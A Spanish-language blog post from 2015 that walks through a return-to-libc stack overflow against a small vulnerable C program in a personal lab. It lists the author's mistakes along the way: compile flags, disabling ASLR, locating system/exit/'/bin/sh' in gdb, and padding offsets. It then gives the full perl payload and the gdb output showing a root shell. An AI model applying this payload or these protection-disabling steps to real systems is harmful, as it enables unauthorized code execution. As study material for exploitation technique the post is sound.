Redes Sociales

martes, 10 de marzo de 2015

Exploiting "Return to Libc"

Pretendo con esta entrada que aquel como yo que este estudiando estos métodos no se vuelva loco como me ha pasado a mi esta tarde. No voy a explicar exactamente como funciona, si no más bien, como hacerlo funcionar, que es diferente.

El código del programa vulnerable es el siguiente:

#include 
#include 
#include 

fvuln(char *temp1, char *temp2){
 char buffer[512];
 strcpy(buffer, temp2);
 printf("Hola %s %s \n", temp1, buffer);
}

int main(int argc, char* argv[]){
 if (argc<3) exit(0);
 fvuln(argv[1], argv[2]);
 printf("Hasta luego %s %s\n", argv[1], argv[2]);
 return 0;
}


ERROR 1

Para empezar, si lo compilamos con:

gcc poc.c -o poc

...este metodo de exploiting no funcionará. Es necesario compilar con:

gcc poc.c -Wall -W -g -o poc2

Compilando con si -W y -g , nos saldra el siguiente warning, pero continuara la ejecución, terminando con exito:

sh: 1: =/bin/sh: not found
[Inferior 1 (process 13743) exited normally]


ERROR 2

Si vemos que la variable de entorno que queremos utilizar para indicarle la shell tiene diferentes direcciones en cada ejecución, es que tenemos el ASLR activado:

root@kali:~# export SHELL="/bin/sh"
root@kali:~# ./getENVaddress.o SHELL ./poc
SHELL esta en 0xbfd0e77e
root@kali:~# ./getENVaddress.o SHELL ./poc
SHELL esta en 0xbfad777e
root@kali:~# ./getENVaddress.o SHELL ./poc
SHELL esta en 0xbfa0877e
root@kali:~# ./getENVaddress.o SHELL ./poc
SHELL esta en 0xbf8d677e
root@kali:~# ./getENVaddress.o SHELL ./poc
SHELL esta en 0xbfa5177e

En este caso lo desactivaremos con:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space


Como vemos:

root@kali:~# ./getenv3 
Found BAH="/bin/sh" at 0xbfad1e85
root@kali:~# ./getenv3 
Found BAH="/bin/sh" at 0xbff15e85
root@kali:~# ./getenv3 
Found BAH="/bin/sh" at 0xbfe56e85
root@kali:~# ./getenv3 
Found BAH="/bin/sh" at 0xbf993e85
root@kali:~# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
root@kali:~# cat /proc/sys/kernel/randomize_va_space
0
root@kali:~# ./getenv3 
Found BAH="/bin/sh" at 0xbffffe85
root@kali:~# ./getenv3 
Found BAH="/bin/sh" at 0xbffffe85
root@kali:~# ./getenv3 
Found BAH="/bin/sh" at 0xbffffe85


ERROR 3

No te fíes de la dirección que te indica el getenv. No es que este mal escrito, es que no nos vale:

(gdb) x/s 0xbffffe85
0xbffffe85:      "ON=default"

Yo al final la saqué por el viejo método de prueba/error:

(gdb) x/s 0xbffffe90
0xbffffe90:      "HOME=/root"
(gdb) x/s 0xbffffe98
0xbffffe98:      "ot"
(gdb) x/s 0xbffffea0
0xbffffea0:      "=1"
(gdb) x/s 0xbffffea8
0xbffffea8:      "bin/sh"
(gdb) x/s 0xbffffea3
0xbffffea3:      "BAH=/bin/sh"


ERROR 4 (Y más grave)

Para explotar usando "Return to Libc", debemos de buscar la dirección de libc donde se encuentran system, exit y la variable de entorno antes creada (y fijada). Con gdb lo podemos hacer asi:

(gdb) x/s 0xbffffea3
0xbffffea3:      "BAH=/bin/sh"
(gdb) p system
$1 = {} 0xb7e93c30 
(gdb) p exit
$2 = {} 0xb7e87270 
(gdb) n

He aquí el mayor error que yo cometí. Resulta que no nos interesa la dirección de la variable de entorno, SINO LA DE SU CONTENIDO. Es decir, en vez 0xbffffea3, nos interesa la 0xbffffea7 (En este caso), es decir hay que añadirle la longitud del nombre de la variable y el "=". De esta forma:

(gdb) x/s 0xbffffea7
0xbffffea7:      "/bin/sh"

...que es justo lo que nos interesa.

ERROR 4

El buffer es de 512 bytes pero tenemos que machacar algo que esta no justo detras, si no cuatro bytes despues. Me explico el buffer en memoria es algo asi:

===BUFFER de 512 BYTES===\x00\x00\x00\x00===RET1===RET2===

Nosotros tendremos que atacar no RET1 sino RET2. Por tanto en vez de escribir 512 "A", escribiremos 520.

EN RESUMEN

El comando a ejecutar será por tanto algo asi:

/root/poc2 XXX `perl -e 'print "A"x520 . [DIR_RET].[SYSTEM].[EXIT].[ENV_VAR]

Cabe mencionar que DIR_RET da igual que pongamos siempre que no tenga bytes a NULL. Aunque es interesante que sea la direccion de retorno que deberia estar ahi. Con este comando:

/root/poc3 XXX `perl -e 'print "A"x512'`

Esta es la captura de memoria:

(gdb) x/200x buffer
0xbffff0c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff0d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff0e0:     0x41414141      0x41414141      0x41414141      0x41414141
(...)
0xbffff2a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2c0:     0x00000000      0xbffff394      0xbffff2e8      0x080484f0

Y la direccion de retorno es 0xbffff2e8. Lo dejaremos asi, pues. El comando entonces será:

/root/poc3 XXX `perl -e 'print "A"x520 . "\xe8\xf2\xff\xbf"."\x30\x3c\xe9\xb7"."\x70\x72\xe8\xb7".
"\xa7\xfe\xff\xbf"'`

Esta es la captura de memoria (notese que ahora se copian ocho letras "A" mas:

0xbffff0a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff0b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff0c0:     0x41414141      0x41414141      0x41414141      0x41414141
(...)
0xbffff290:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2a0:     0x41414141      0x41414141      0xbffff2e8      0xb7e93c30
0xbffff2b0:     0xb7e87270      0xbffffea7      0x08048500      0xb7fb7ff4
0xbffff2c0:     0x08048530      0x00000000      0xbffff348      0xb7e6ee46

Al ejecutarlo, por fin:

(gdb)  run XXX `perl -e 'print "A"x520 . "\xe8\xf2\xff\xbf"."\x30\x3c\xe9\xb7"."\x70\x72\xe8\xb7".
"\xa7\xfe\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/poc3 XXX `perl -e 'print "A"x520 . "\xe8\xf2\xff\xbf"."\x30\x3c\xe9\xb7".
"\x70\x72\xe8\xb7"."\xa7\xfe\xff\xbf"'`
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000

Breakpoint 1, main (argc=3, argv=0xbffff374) at poc.c:12
12              if (argc<3) exit(0);
(gdb) n
13              fvuln(argv[1], argv[2]);
(gdb) n
^Z AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA����0<��pr跧���
# id
uid=0(root) gid=0(root) grupos=0(root)
# exit

No hay comentarios:

Publicar un comentario